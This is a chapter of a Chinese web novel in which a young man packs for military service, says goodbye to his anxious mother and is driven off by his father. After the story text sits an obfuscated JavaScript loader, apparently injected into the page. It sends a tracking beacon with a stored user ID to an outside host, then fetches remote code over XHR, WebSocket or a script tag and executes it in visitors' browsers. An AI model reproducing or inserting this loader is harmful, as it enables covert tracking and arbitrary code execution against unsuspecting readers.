宋延吃完饭上楼收拾东西。
说是收拾，其实也没什么好收的。
他拉开衣柜，从最底层翻出几件便服，叠好，塞进背包里。
又拿了两双运动鞋，拉链一拉，完事。
前后不过五分钟。
他正把背包拎起来掂了掂分量，门口传来轻轻的脚步声。
周婉清端着一杯牛奶上来了，牛奶放在书桌上，眼睛却已经落在了那个瘪瘪的背包上。
“就这些？”周婉清皱起眉，走过去拉开拉链，伸手翻了翻那几件薄薄的便服，眉头皱得更紧了，“就这么几件衣服？天冷了怎么办？你这身子骨能扛得住？”
宋延还没来得及开口，周婉清已经转身走到衣柜前，拉开柜门开始往外翻东西。
“这件厚外套带上，还有这件毛衣，虽然是旧了点但是暖和……”
她一边说一边把衣服往床上堆，又去翻抽屉，“袜子呢？你就带一双？那哪够啊，至少要带五六双，部队训练一天一双都不够换的……”
“妈。”宋延无奈地喊了一声。
“还有水壶，你这包里有水壶吗？”周婉清根本不听他说话，自顾自地念叨着，“到了那边人生地不熟的，渴了连个买水的地方都找不到怎么办？你等着，我去给你拿个保温杯——”
“妈！”宋延走过去，按住周婉清的手，笑了，“我是去当兵，又不是去服刑。”
周婉清愣了一下，手上动作停了。
“部队什么都有的，”宋延把床上那堆衣服重新叠好，一件一件放回衣柜里，“发军装、发水壶、发被子，连袜子都发，带多了反而是累赘，到时候背着大包小包的去报到，别人还以为我搬家呢。”
周婉清站在衣柜前，手还保持着刚才翻东西的姿势，半晌没说话。
“再说了，”宋延把帆布包拉好，转过身看着周婉清，语气轻松，“我这体格您也看见了，七天练出来的，到部队再练几个月，保管比现在还壮实，到时候您想让我感冒都难。”
周婉清终于笑了，笑了一下又收住，伸手在宋延肩膀上轻轻拍了一巴掌，力道轻得像拂灰。
“你这小子，从小就不让人省心。”她说这话的时候声音带着笑意，尾音却微微发颤，“上幼儿园跟人打架，小学翻墙摔破头，初中逃课去河边摸鱼……妈都记着呢，桩桩件件的，哪一件都少不了你。”
宋延笑着没说话。
周婉清抬手，把他肩膀上一根线头捻掉，动作很慢，像是在做一件很重要的事。
“这还是第一次，”她垂下眼，声音轻了，“离我这么远。”
宋延喉咙像被什么东西堵了一下。
他张了张嘴想说点什么，又觉得说什么都轻了。
最后他只是伸手，把周婉清刚才端上来的那杯牛奶端起来，喝了一大口。
“妈，牛奶我喝了，您就放心吧。”他放下杯子，笑了一下。
周婉清看着他那副故作轻松的样子，吸了吸鼻子，点点头，转身往门口走。
走到门口又停了一下，没回头，只说了一句：“早点睡，明天还要早起。”
门轻轻关上了。
宋延站在床边，低头看了看那杯牛奶，沉默了几秒，然后把杯子里的牛奶喝完，关了灯，躺到床上。
第二天，宋延是被手机闹钟叫醒的。
五点半，天刚蒙蒙亮。
他翻身坐起来，比以往任何一天都快。
身上还是酸的，但这几天的训练让他习惯了这种酸，甚至觉得有几分亲切。
他叠好被子，去卫生间洗了把脸，把昨晚就收拾好的背包拎起来就走出房间。
楼梯上就闻到了饭菜的香味。
周婉清比他起得还早，饭菜早就准备好摆在桌子上。
宋延坐下来吃了早饭，周婉清在旁边看着，这次什么都没说，只是在宋延吃完的时候递过来一张纸巾。
“擦擦嘴。”
宋延接过来擦了擦，提起背包。
“妈，我走了。”
周婉清点点头，嘴唇动了动，最后只说了两个字：“好好的。”
宋延推开门，院门外，一辆黑色的凯迪拉克停在路边。
车身很长，漆面黑得发亮。
宋德厚靠在驾驶座一侧的车门上，手里夹着一根烟，烟雾在他指间缓缓升起，又被晨风吹散。
他看见宋延出来，低头把烟掐灭在车旁的垃圾桶上。
“东西都收拾好了？”宋德厚问。
“收拾好了。”宋延拍了拍手里的背包。
宋德厚拉开车门。
“那就走吧。第一天报到，不能迟到，更不能刚去就给部队的长官留下不好的印象。头一印象最重要，这个道理不用我教你。”
宋延没急着上车，而是面色有些古怪地看了宋德厚一眼。
“爸，开这车去……会不会招摇了点？”
宋德厚眉毛一挑。
“招摇？”他哼了一声，手搭在方向盘上“我亲自开车送你，你还挑三拣四的？赶紧上车坐着，别磨蹭。”
宋延张了张嘴，把到了嘴边的话咽了回去，弯腰坐进了副驾驶。
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};